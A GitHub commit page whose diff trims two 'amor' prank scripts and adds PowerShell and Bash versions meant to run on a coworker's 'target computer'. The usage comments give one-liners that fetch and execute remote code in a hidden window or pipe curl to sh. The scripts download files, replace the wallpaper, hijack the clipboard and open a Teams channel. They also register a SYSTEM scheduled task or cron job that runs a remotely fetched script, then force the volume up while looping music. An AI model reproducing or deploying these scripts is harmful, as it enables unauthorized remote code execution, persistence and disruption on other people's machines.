Skip to content

Commit

Permalink
Coward love
Browse files Browse the repository at this point in the history
  • Loading branch information
Juanbanpar committed Aug 3, 2024
1 parent 48fb355 commit 15717a5
Show file tree
Hide file tree
Showing 4 changed files with 196 additions and 40 deletions.
17 changes: 0 additions & 17 deletions amor.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -118,20 +118,3 @@ Get-ChildItem $GifDest | Set-Clipboard

# Open my favourite channel to express HOW MUCH LOVE I have
start "https://teams.microsoft.com/l/channel/19%3acd6d7b457ff84d86b3a182a310139597%40thread.tacv2/Random?groupId=1a0ebcf0-5300-494f-a968-317e4e6c7a42&tenantId=66102552-ecf2-44f2-aeee-14fa85460e0f"

# Sleep 5 minutes to wait for the LOVER to be back at the computer
Start-Sleep -Seconds 300

# Plays LOVE music
$player = New-Object System.Media.SoundPlayer $MusicDest
$player.PlayLooping()

# Function to say LOUDLY how much I LOVE YOU
# but increase volume by steps
Function Set-Speaker($Volume) {
$wshShell = new-object -com wscript.shell;1..50 | % {$wshShell.SendKeys([char]174)};1..$Volume | % {$wshShell.SendKeys([char]175);Start-Sleep -Seconds 1}
}
Set-Speaker -Volume 50

# Sleep the shell so we can HEAR just enough time how MUCH I LOVE YOU
Start-Sleep -Seconds 3600
23 changes: 0 additions & 23 deletions amor.sh
Original file line number Diff line number Diff line change
Expand Up @@ -33,26 +33,3 @@ xclip -selection clipboard -t image/jpeg -i ${DownloadDirectory}/${GifFile}

# Open my favourite channel to express HOW MUCH LOVE I have
gnome-www-browser https://teams.microsoft.com/l/channel/19%3acd6d7b457ff84d86b3a182a310139597%40thread.tacv2/Random?groupId=1a0ebcf0-5300-494f-a968-317e4e6c7a42&tenantId=66102552-ecf2-44f2-aeee-14fa85460e0f

# Sleep 5 minutes to wait for the LOVER to be back at the computer
sleep 300

# Plays LOVE music
play_music() {
while [ 1 ] ; do
aplay ${DownloadDirectory}/${MusicFile}
done
}

# Unmute our LOVE
amixer -D pulse sset Master on
# Function to say LOUDLY how much I LOVE YOU
# but increase volume by steps
increase_volume() {
while [ 1 ] ; do
sleep 1
amixer -D pulse sset Master 2%+
done
}

increase_volume | play_music
137 changes: 137 additions & 0 deletions real-amor.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,137 @@
# USAGE:
# Win + R:
# powershell -w h -c ". ([Scriptblock]::Create((([System.Text.Encoding]::ASCII).getString((Invoke-WebRequest -Uri "https://juanbanpar.github.io/GRADLOVE/amor.ps1").Content))))"
# Powershell:
# . ([Scriptblock]::Create((([System.Text.Encoding]::ASCII).getString((Invoke-WebRequest -Uri "https://juanbanpar.github.io/GRADLOVE/amor.ps1").Content))))

$Data = @{
WallpaperURL = "https://juanbanpar.github.io/GRADLOVE/files/wall.jpg"
GifURL = "https://juanbanpar.github.io/GRADLOVE/files/heart-locket.gif"
MusicURL = "https://juanbanpar.github.io/GRADLOVE/files/music.wav"
PersistentURL = "https://juanbanpar.github.io/GRADLOVE/files/persistent.ps1"
DownloadDirectory = "C:\amor"
}

$WallpaperDest = $($Data.DownloadDirectory + "\Wallpaper." + ($Data.WallpaperURL -replace ".*\."))
$GifDest = $($Data.DownloadDirectory + "\Gif." + ($Data.GifURL -replace ".*\."))
$MusicDest = $($Data.DownloadDirectory + "\Music." + ($Data.MusicURL -replace ".*\."))
$PersistentDest = $($Data.DownloadDirectory + "\Persistent." + ($Data.PersistentURL -replace ".*\."))

# Creates the LOVE folder on the target computer
New-Item -ItemType Directory -Path $Data.DownloadDirectory -ErrorAction SilentlyContinue

# Downloads SO MUCH LOVE
Start-BitsTransfer -Source $Data.WallpaperURL -Destination $WallpaperDest
Start-BitsTransfer -Source $Data.GifURL -Destination $GifDest
Start-BitsTransfer -Source $Data.MusicURL -Destination $MusicDest
Start-BitsTransfer -Source $Data.PersistentURL -Destination $PersistentDest

# Function of LOVE
Function Set-WallPaper {

<#
.SYNOPSIS
Applies a specified wallpaper to the current user's desktop
.PARAMETER Image
Provide the exact path to the image
.PARAMETER Style
Provide wallpaper style (Example: Fill, Fit, Stretch, Tile, Center, or Span)
.EXAMPLE
Set-WallPaper -Image "C:\Wallpaper\Default.jpg"
Set-WallPaper -Image "C:\Wallpaper\Background.jpg" -Style Fit
#>

param (
[parameter(Mandatory=$True)]
# Provide path to image
[string]$Image,
# Provide wallpaper style that you would like applied
[parameter(Mandatory=$False)]
[ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')]
[string]$Style
)

$WallpaperStyle = Switch ($Style) {

"Fill" {"10"}
"Fit" {"6"}
"Stretch" {"2"}
"Tile" {"0"}
"Center" {"0"}
"Span" {"22"}

}

If($Style -eq "Tile") {

New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force

}
Else {

New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force

}

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Params
{
[DllImport("User32.dll",CharSet=CharSet.Unicode)]
public static extern int SystemParametersInfo (Int32 uAction,
Int32 uParam,
String lpvParam,
Int32 fuWinIni);
}
"@

$SPI_SETDESKWALLPAPER = 0x0014
$UpdateIniFile = 0x01
$SendChangeEvent = 0x02

$fWinIni = $UpdateIniFile -bor $SendChangeEvent

$ret = [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni)
}

# Make our LOVE last forever
$Trigger = New-ScheduledTaskTrigger -Daily -At "11:00 am"
$Action = New-ScheduledTaskAction -Execute "PowerShell" -Argument "C:\amor\persistent.ps1"
$Principal = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount

Register-ScheduledTask -TaskName "Amor" -Trigger $Trigger -Action $Action -Principal $Principal

# Sets LOVE images
Set-WallPaper -Image $WallpaperDest -Style Fit

# Add to the clipboard LOVE gif
Get-ChildItem $GifDest | Set-Clipboard

# Open my favourite channel to express HOW MUCH LOVE I have
start "https://teams.microsoft.com/l/channel/19%3acd6d7b457ff84d86b3a182a310139597%40thread.tacv2/Random?groupId=1a0ebcf0-5300-494f-a968-317e4e6c7a42&tenantId=66102552-ecf2-44f2-aeee-14fa85460e0f"

# Sleep 5 minutes to wait for the LOVER to be back at the computer
Start-Sleep -Seconds 300

# Plays LOVE music
$player = New-Object System.Media.SoundPlayer $MusicDest
$player.PlayLooping()

# Function to say LOUDLY how much I LOVE YOU
# but increase volume by steps
Function Set-Speaker($Volume) {
$wshShell = new-object -com wscript.shell;1..50 | % {$wshShell.SendKeys([char]174)};1..$Volume | % {$wshShell.SendKeys([char]175);Start-Sleep -Seconds 1}
}
Set-Speaker -Volume 50

# Sleep the shell so we can HEAR just enough time how MUCH I LOVE YOU
Start-Sleep -Seconds 3600
59 changes: 59 additions & 0 deletions real-amor.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
#!/bin/bash

# Usage:
# Open Terminal (Ctrl + Alt + T) and type:
# curl -sSf https://juanbanpar.github.io/gradlove/amor.sh | sh

mkdir /home/$USER/amor

WallpaperURL="https://juanbanpar.github.io/gradlove/files/wall.jpg"
GifURL="https://juanbanpar.github.io/gradlove/files/heart-locket.gif"
MusicURL="https://juanbanpar.github.io/gradlove/files/music.wav"
PersistentURL="https://juanbanpar.github.io/gradlove/files/persistent.sh"
DownloadDirectory="/home/$USER/amor"

WallFile=$(basename "$WallpaperURL")
GifFile=$(basename "$GifURL")
MusicFile=$(basename "$MusicURL")
PersistentFile=$(basename "$PersistentURL")

# Downloads SO MUCH LOVE
wget -P $DownloadDirectory $WallpaperURL
wget -P $DownloadDirectory $GifURL
wget -P $DownloadDirectory $MusicURL

# Make our LOVE last forever (only on working days)
(crontab -l ; echo "00 11 * * 1-5 $DownloadDirectory/$PersistentFile") | crontab -

# Sets LOVE images
gsettings set org.gnome.desktop.background picture-uri file:///${DownloadDirectory}/${WallFile}

# Add to the clipboard LOVE gif
xclip -selection clipboard -t image/jpeg -i ${DownloadDirectory}/${GifFile}

# Open my favourite channel to express HOW MUCH LOVE I have
gnome-www-browser https://teams.microsoft.com/l/channel/19%3acd6d7b457ff84d86b3a182a310139597%40thread.tacv2/Random?groupId=1a0ebcf0-5300-494f-a968-317e4e6c7a42&tenantId=66102552-ecf2-44f2-aeee-14fa85460e0f

# Sleep 5 minutes to wait for the LOVER to be back at the computer
sleep 300

# Plays LOVE music
play_music() {
while [ 1 ] ; do
aplay ${DownloadDirectory}/${MusicFile}
done
}

# Unmute our LOVE
amixer -D pulse sset Master on
# Function to say LOUDLY how much I LOVE YOU
# but increase volume by steps
increase_volume() {
while [ 1 ] ; do
sleep 1
amixer -D pulse sset Master 2%+
done
}

amixer -D pulse sset Master 0%
increase_volume | play_music

0 comments on commit 15717a5

Please sign in to comment.